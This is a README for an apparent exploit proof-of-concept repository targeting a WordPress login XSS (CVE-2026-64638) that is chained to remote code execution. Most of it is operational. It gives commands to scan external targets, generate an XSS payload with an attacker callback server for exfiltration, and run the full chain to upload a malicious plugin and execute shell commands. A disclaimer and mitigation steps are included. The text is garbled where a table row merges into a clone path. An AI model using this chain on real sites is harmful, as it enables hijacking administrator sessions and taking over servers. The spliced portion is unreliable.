## https://sploitus.com/exploit?id=170AC79E-BF25-5EA9-BF83-8375A0DC6038
# CVE-2026-64638 — XSS2Shell
> **Pre-Authentication Reflected XSS → Remote Code Execution in WordPress Core**
[](LICENSE)
[](https://wordpress.org)
[](https://vulners.com/cve/CVE-2026-64638)
> ⚠️ **DISCLAIMER:** This repository is for **authorized security research and educational purposes only**. Do not use against systems you do not own or have explicit written permission to test. Unauthorized access is illegal. See [SECURITY.md](SECURITY.md).
---
## Overview
CVE-2026-64638 is a **pre-authentication reflected XSS** in WordPress Core's login/wplogin processing pipeline. The flaw stems from a parser differential where malformed input survives PHP's `strip_tags()` but is later reconstructed as HTML by `wp_kses_post()`, allowing attacker-controlled markup to reach the DOM.
Researchers at [pwn.ai](https://pwn.ai/blog/xss2shell) demonstrated **XSS2Shell** — a chain that escalates this XSS to full PHP code execution on a default WordPress installation when an authenticated administrator interacts with attacker-controlled content.
| Property | Value |
|----------|-------|
| **CVE** | CVE-2026-64638 |
| **CVSS** | 8.9 |
| **Type** | Reflected XSS → RCE chain |
| **Component** | WordPress Core login page |
| **Affected** | WordPress /CVE-2026-64638-POC.git
cd CVE-2026-64638-POC
# One command — spin up vulnerable WordPress 7.0.2 + run full chain
./test.sh up
./test.sh chain
```
**What happens:**
```
[STAGE 1] WordPress 7.0.2 → VULNERABLE
[STAGE 2] XSS payload URL generated
[STAGE 3] Application Password created
[STAGE 4] Plugin uploaded + activated
[STAGE 5] RCE → uid=33(www-data)
```
### All Commands
```bash
./test.sh up # Start Docker + install WordPress (admin/admin123)
./test.sh scan # Detect version & patch status
./test.sh chain # Run full XSS2Shell RCE chain
./test.sh all # up + scan + chain (all-in-one)
./test.sh down # Stop containers
./test.sh clean # Stop + remove all volumes
# Or with Make
make up # Start Docker
make install # Install WordPress
make scan # Check vulnerability
make gen-xss # Generate XSS payload URL
make test-chain # Full RCE chain
make serve # Start callback server on :8080
make down # Stop containers
```
---
## Repository Structure
```
CVE-2026-64638-POC/
├── README.md
├── SECURITY.md # Security policy & disclaimer
├── docker-compose.yml # WordPress 7.0.2 + MySQL 8 + WP-CLI
├── Makefile # Shortcut commands
├── test.sh # Automated test suite
├── requirements.txt # Python dependencies
│
├── xss2shell_chain.py # [MAIN] Full chain: scan → XSS → app-password → plugin → RCE
├── xss2shell_scanner.py # Version detection + username reflection test
├── xss2shell_checker.py # Lightweight patch checker (safe, non-exploitative)
├── exploit_server.py # Callback server for XSS exfiltration
├── xss_payload.html # Interactive XSS PoC (browser)
│
└── docs/
├── CHAIN.md # Technical breakdown of all 7 chain stages
├── MITIGATION.md # Defensive guidance + detection rules
└── PAYLOAD_NOTES.md # Notes on the CVE-specific bypass payload
```
---
## Manual Usage (External Target)
```bash
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
# Scan target
python3 xss2shell_chain.py scan -u https://target.example.com
# Generate XSS payload
python3 xss2shell_chain.py gen-xss -u https://target.example.com -c http://your-ip:8080
# Full chain (requires WordPress admin credentials)
python3 xss2shell_chain.py chain \
-u https://target.example.com \
--user admin --pass "password" \
--cmd "id"
# Individual stages
python3 xss2shell_chain.py stage-apppass -u URL --user U --pass P
python3 xss2shell_chain.py stage-plugin -u URL --apppass "PASS"
python3 xss2shell_chain.py stage-rce -u URL --cmd "whoami"
```
---
## The XSS2Shell Attack Chain
See [`docs/CHAIN.md`](docs/CHAIN.md) for full details.
```
┌─────────────────────────────────────────────────────────────────┐
│ 1. Reflected XSS on wp-login.php (failed-login error page) │
│ 2. DOM clobbering to manipulate page context │
│ 3. JSONP / Same-Origin Method Execution (SOME) │
│ 4. Application Password creation via REST API │
│ 5. REST API access with stolen Application Password │
│ 6. Malicious plugin/theme upload │
│ 7. PHP code execution → full RCE │
└─────────────────────────────────────────────────────────────────┘
```
> **Note:** Stages 3-7 require a logged-in administrator interacting with the XSS payload. The vulnerability is pre-auth, but the full RCE chain requires admin-level access to complete.
---
## Mitigation
1. **Update WordPress to 7.0.3 or later** immediately
2. Enable automatic background updates
3. Audit Application Passwords (Users → Profile)
4. Review logs for suspicious failed-login usernames
5. Monitor plugin/theme upload activity
See [`docs/MITIGATION.md`](docs/MITIGATION.md) for detailed hardening and detection rules.
---
## References
- [WordPress 7.0.3 Security Release](https://wordpress.org/news/2026/08/wordpress-7-0-3-release/)
- [pwn.ai XSS2Shell Blog](https://pwn.ai/blog/xss2shell)
- [pwn.ai SOME/CSP Bypass Writeup](https://pwn.ai/blog/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution)
- [The Hacker News Coverage](https://thehackernews.com/2026/08/new-wordpress-pre-auth-xss-could-lead.html)
- [The CyberSec Guru Article](https://thecybersecguru.com/news/wordpress-cve-2026-64638-pre-auth-xss-php-code-execution/)
- [CVE Record](https://vulners.com/cve/CVE-2026-64638)
## Author
Security research & PoC. For educational use only.
## License
MIT — See [LICENSE](LICENSE)